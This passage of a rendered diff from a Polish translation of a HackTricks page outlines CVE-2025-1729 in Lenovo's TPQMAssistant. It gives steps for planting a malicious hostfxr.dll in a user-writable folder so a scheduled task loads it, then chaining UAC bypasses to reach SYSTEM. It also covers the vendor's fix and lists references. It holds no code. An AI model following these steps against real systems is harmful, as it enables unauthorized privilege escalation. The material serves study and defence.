| 2. Poczekaj na uruchomienie zaplanowanego zadania o 9:30 rano w kontekście bieżącego użytkownika. | ||||
| 3. Jeśli administrator jest zalogowany, gdy zadanie jest wykonywane, złośliwy DLL działa w sesji administratora z medium integralnością. | ||||
| 4. Połącz standardowe techniki omijania UAC, aby podnieść integralność z medium do uprawnień SYSTEM. | ||||
| 1. Jako zwykły użytkownik, umieść `hostfxr.dll` w `C:\ProgramData\Lenovo\TPQM\Assistant\`. | ||||
| 2. Poczekaj, aż zaplanowane zadanie uruchomi się o 9:30 w kontekście bieżącego użytkownika. | ||||
| 3. Jeśli administrator jest zalogowany podczas wykonywania zadania, złośliwy DLL uruchomi się w sesji administratora na medium integrity. | ||||
| 4. Połącz standardowe techniki obejścia UAC, aby podnieść uprawnienia z medium integrity do SYSTEM. | ||||
| 
 | ||||
| ### Łagodzenie | ||||
| ### Środki zaradcze | ||||
| 
 | ||||
| Lenovo wydało wersję UWP **1.12.54.0** za pośrednictwem Microsoft Store, która instaluje TPQMAssistant w `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, usuwa podatne zaplanowane zadanie i odinstalowuje przestarzałe komponenty Win32. | ||||
| Lenovo wydało wersję UWP **1.12.54.0** przez Microsoft Store, która instaluje TPQMAssistant w `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, usuwa podatne zaplanowane zadanie i odinstalowuje starsze komponenty Win32. | ||||
| 
 | ||||
| ## Odniesienia | ||||
| ## References | ||||
| 
 | ||||
| - [CVE-2025-1729 - Podwyższenie uprawnień przy użyciu TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe) | ||||
| - [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe) | ||||
| - [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng) | ||||
| 
 | ||||
| 
 | ||||
| @ -259,4 +352,7 @@ Lenovo wydało wersję UWP **1.12.54.0** za pośrednictwem Microsoft Store, któ | ||||
| - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) | ||||
| 
 | ||||
| 
 | ||||
| - [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/) | ||||
| 
 | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user